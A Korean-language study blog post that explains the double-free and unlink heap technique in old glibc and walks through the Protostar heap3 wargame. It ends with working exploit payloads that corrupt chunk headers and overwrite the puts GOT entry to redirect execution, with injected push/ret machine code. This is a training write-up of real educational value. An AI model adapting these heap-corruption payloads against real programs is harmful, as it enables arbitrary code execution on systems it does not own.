본문 바로가기
[ ★ ]Study/PWNABLE

Double Free Bug(DFB)

by nroses-taek 2017. 9. 18.
UAF 처럼 DFB 그대로 2 Free해서 나타나는 취약점입니다.
 
간단한 예시

 
0x20만큼 메모리를 할당했습니다. 하지만 주소에서 있듯이
0x30만큼 차이가 납니다.
 
요청한 사이즈보다 크게 할당되는 이유는 메모리가 할당될 때에 해당 메모리에 대한 사이즈 외에 추가적인 정보가 있기 때문입니다. 우선 chunk라는 용어가 나오는데 알아보도록 하죠. malloc()으로 동적메모리를 구성하는 것은 heap chunk라는 자료구조를 하나 선언하는 것과 같습니다. chunk라는 데이터는 유저가 얼마만큼의 메모리를 선언했는가의 size, 이전의 chunk 어떻게 쓰이고 있는가, 실제 쓰여지는 메모리영역, 그리고 chunk리스트를 유지하기 위한 double linked list포인터들(fd, bk) 포함합니다.
아래는 추가정보입니다.
 
1
2
3
4
5
6
7
8
9
10
11
12
struct malloc_chunk {
 
  INTERNAL_SIZE_T      mchunk_prev_size;  /* Size of previous chunk (if free).  */
  INTERNAL_SIZE_T      mchunk_size;       /* Size in bytes, including overhead. */
 
  struct malloc_chunk* fd;         /* double links -- used only if free. */
  struct malloc_chunk* bk;
 
  /* Only used for large blocks: pointer to next larger size.  */
  struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
  struct malloc_chunk* bk_nextsize;
};
cs
 
prev_size 이전 chunk free되면 설정되는 값으로, 플래그를 제외한 이전 chunk 크기 정보가 기록됩니다. 정보를 통해 이전 chunk 위치를 쉽게 찾을 있습니다. size 현재 chunk 사이즈겠죠? chunk 8바이트 단위로 정렬되는데, 하위 3-bit 플래그 용도로 쓰입니다.
 
   할당된 청크의 모습:
 
 
    chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             Size of previous chunk, if unallocated (P clear)  |
            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             Size of chunk, in bytes                     |A|M|P|
      mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             User data starts here...                          .
            .                                                               .
            .             (malloc_usable_size() bytes)                      .
            .                                                               |
nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             (size of chunk, but used for application data)    |
            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             Size of next chunk, in bytes                |A|0|1|
            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

 
 해제된 청크 : 해제된 청크는 circular doubly-linked lists 저장됩니다.

 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
/* size field is or'ed with PREV_INUSE when previous adjacent chunk in use */
#define PREV_INUSE 0x1
 
/* extract inuse bit of previous chunk */
#define prev_inuse(p)       ((p)->mchunk_size & PREV_INUSE)
 
 
/* size field is or'ed with IS_MMAPPED if the chunk was obtained with mmap() */
#define IS_MMAPPED 0x2
 
/* check for mmap()'ed chunk */
#define chunk_is_mmapped(p) ((p)->mchunk_size & IS_MMAPPED)
 
 
/* size field is or'ed with NON_MAIN_ARENA if the chunk was obtained
   from a non-main arena.  This is only set immediately before handing
   the chunk to the user, if necessary.  */
#define NON_MAIN_ARENA 0x4
 
/* Check for chunk from main arena.  */
#define chunk_main_arena(p) (((p)->mchunk_size & NON_MAIN_ARENA) == 0)
cs
 
  • PREV_INUSE : 이전 chunk 사용중일 설정되는 플래그
  • IS_MMAPED : mmap()함수로 할당된 chunk 설정되는 플래그
  • NON_MAIN_ARENA : 멀티쓰레드 환경에서 main 아닌 스레드에서 생성된 메모리 설정되는 플래그
 
Double Free Bug에서 unlink 매우 핵심부분입니다.
1
2
3
4
5
6
7
#define unlink(P, BK, FD)
{
  BK = P->bk;
  FD = P->fd;
  FD->bk = BK;
  BK->fd = FD;
}
cs
 
Heap 할당하고 해제할 , 메모리를 효율적으로 사용하기 위해 bin이란느 구조를 사용하여 해제된 chunk list 관리합니다. 이것을 bin구조라 합니다. free chunk 필드 fd, bk 이용하여 리스트를 연결하고 있습니다.
 
bin구조는 chunk 크기에 따라 126개로 분리됩니다.
 
small bin 512bytes 미만의 bin 구조를 관리합니다.
헤더를 포함하여 할당할 있는 최소 메모리 크기가 16바이트이기 때문에, 16바이트부터 8바이트 단위로 62개의 bin 있고 같은 크기의 chunk끼리 리스트를 이루게 됩니다. large bin 크기가 chunk 다룹니다. small bin과는 크기가 같지 않더라도 같은 범위에 속하면 같은 리스트로 관리합니다. 그리고 여기서 조금 특별한 bin list bin 구조 번째 bin unsorted chunk list입니다.
chunk들은 free 됐다고 바로 해당 bin 리스트에 들어가는 것이 아니라 unsorted chunk list 거치고, 메모리 할당시에는 unsorted chunk list 제일 먼저 확ㅇ니하여 같은 크기의 free chunk 있다면 해당 chunk 재사용합니다.
 
그리고 과정에서 검색을 거친 chunk 번의 기회 없이 원래 자신이 속해야하는 bin 리스트로 돌아가게 됩니다. small bin 72바이트 이하의 chunk fast bin이라고 불립니다.
bin 대한 설명은
 
다시 unlink 보시죠.
P free() 때는 아래와 같은 모습으로 수행이 됩니다.

 
그리고 P 대한 free() 수행될 이전 chunk 이후 chunk 앞뒤를 가르키는 fd, bk 포인터가 P 제외하면서 치환 되게됩니다. 쉽게 말해서 중간의 chunk 제거됩니다.

 
문제가 발생하는 것은 바로 이곳이며, BK.fd FD.bk 각각 치환될 어떤임이의 주소 영역에 덮어 질수 있다는 것입니다. 왜냐하면, Overflow 의해 우리가 FD chunk 자료구조에 대한 제어권을 가지고 있기 때문입니다.
 
이제 이것을 조작을 해봅시다.
Before free()

after free()
 

 
취약점을 이용하여 fd bk 조작된 chunk P 만들 있다면 unlink fd+12=bk, bk+8=fd 원하는 주소에 원하는 값을 쓰는 것도 가능하다는 뜻입니다.
 
glib 2.3.2 이하의 버전에서만 가능합니다.
이상의 버전에서는 가지의 검증 루틴이 추가되었습니다.
(설명생략)
 
 
-----------------실습-----------------
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdlib.h>
 
void winner()
{
    printf("that wasn't too bad now, was it? @ %d\n", time(NULL));
}
 
int main(int argc, char *argv[])
{
    char *a, *b, *c;
 
    a = malloc(32);
    b = malloc(32);
    c = malloc(32);
 
    strcpy(a, argv[1]);
    strcpy(b, argv[2]);
    strcpy(c, argv[3]);
 
    free(c);
    free(b);
    free(a);
 
    printf("dynamite failed?\n");
}
cs
 
protostar heap3 코드입니다.
https://exploit-exercises.com/protostar/ 직접 구축해서 문제도 있으니 참고하세요.
 
  • 미리 짚고가기.
변수들의 구조는 | pre_size | chunk size | data | 형태로 이루어져 있습니다.
c코드에서 확인하면 32byte 할당하였지만, chunk_size 보면 \x29(41byte) 할당되어 있는데, pre_size P플래그(unlink 활용) 때문에 pre_size(8) + P_flag(1) + 32 = 41byte 되는거죠. pre_size 이전 청크가 free되었을 chunk size 나타냅니다.
그렇다면 pre_size 이전 chunk_size - P_flag 되겠습니다.
 
실행 코드 ' r aaaaaaaa bbbbbbbb cccccccc '

 
free(c) 수행하고 나서 메모리를 확인해보았습니다. 0x804c050따라가시면 cccc 4개의 데이터가 사라진 것을 있습니다. 부분은 chunk free되면 data영역이 fd, bk 영역으로 사용되어집니다.

 
위에서 보셨던 부분 기억나시죠?
 
우선 free(c) 상태에서 추가적인 설명을 하자면, c free 후에 a b 상태를 보면 free되지 않았기 때문에 unlink 발생하지 않습니다. 그래서 조작이 필요한 것이지요.
chunk 현재 사용중이면 1, free 상태면 0 들어갑니다.
우선 계속 free(c) 다음을 진행해보겠습니다.
 

free(b) 입니다. fd 값은 c 주소를 가리키고있습니다.
 
그렇다면 free(a)한다면 fd 값은 b 주소를 가리킬 것이라는 것을 예상할 있습니다.

 
이제 공격할 차례가 남았습니다.
 
P_flag 값을 변경해줘야 DFB공격이 되겠죠?
strcpy(a, argv[1]) 오버플로우시켜 b P_flag 값과 pre_size값을 수정해줍시다.
size값을 -4 바꾸어주면 마지막 비트값이 0 되므로 unlink매크로가 발생하게 됩니다.   unlink 실행되면 fd 가리키는 주소의 +12 지점에는 bk 입력되고, bk 가리키는 +8주소에는 fd 입력됩니다. 이전 chunk 위치를 조작하기 위해서는 pre_size 수정해야 합니다. Heap에서 이전 chunk 주소값은 &b - pre_size 표현할 있습니다. pre_size값을 0xfffffffc(-4) 변질시키면 &b+4byte 됩니다.
chunk b 해당 주소의 chunk 자신의 이전 chunk 간주합니다.
 
공격페이로드는 chunk fd위치에 puts GOT - 12 입력하고 bk에는 &winner 입력시키면 puts함수 실행할 winner함수의 주소가 있으므로 winner함수가 실행될 것입니다.
 

 

 
준비물은 끝났습니다.
 
`python -c 'print"a"*32+"\xfc\xff\xff\xff"*2'` `python -c 'print"a"*4+"\x10\xb1\x04\x08"+"\x64\x88\x04\x08"'` C
위와 아래의 코드는 같습니다. 보기 편하신걸로 ...
1
`python -'print"a"*32+"\xfc\xff\xff\xff"*2'` `python -'print"a"*4+"\x10\xb1\x04\x08"+"\x64\x88\x04\x08"'` C
cs
b pre_size, size -4 변환시켰습니다. puts_GOT &winner 뒤를 잇고있습니다.
size -4 비트로 변환하면 마지막 부분이 0입니다. 이는 free됐다는 뜻으로 unlink 매크로가 발생하겠죠? 그리고 가짜 chunk 시작주소는 &b+4이겠습니다.
두번째 인자에는 b 부분에 a 4개를 채우고 가짜 chunk 시작주소 fd값과 bk값을 넣어줍니다. 하지만 아래와 같이 오류가 발생합니다.
 

 
여기서 bk+8 = fd, bk+8 영역이 data영역이라 쓰기권한이 없어서 오류가 발생한다고 합니다. 이러면 기계어 코드로 push + &winner + ret 추가시켜줘야 합니다.
push ret
objdump -d heap3 | grep "ret" objdump -d heap3 | grep "push" 찾을 있습니다.
\x68(push), \xc3(ret)
bk 입력가능 공간으로 되어 오류가 발생하지 않게 됩니다.
 
최종 payload
 
`python -c 'print"a"*22 + "\x68\x64\x88\x04\x08\xc3"+"a"*4+"\xfc\xff\xff\xff"*2'` `python -c 'print"a"*4+"\x1c\xb1\x04\x08"+"\x08\xc0\x04\x08"'` C

 
 
번째 인자가 들어가는 32byte내에 winner함수를 호출하는 코드를 삽입.
  후에는 처음 페이로드와 같다.
때문에 &winner함수를 호출하는 것보다는 winner함수를 호출하는 기계어 코드가 실행되어 프로그램이 종료된다.


'[ ★ ]Study > PWNABLE' 카테고리의 다른 글

[Tip] /bin/sh 주소 찾기  (0) 2018.11.06
[Tip] pwntool 함수 offset/plt/got 주소 찾기(pwntools)  (0) 2018.11.06
Use After Free 취약점  (0) 2017.09.16
system call table 정리  (0) 2017.09.16
shellcode 만들기 2부  (0) 2017.09.16

댓글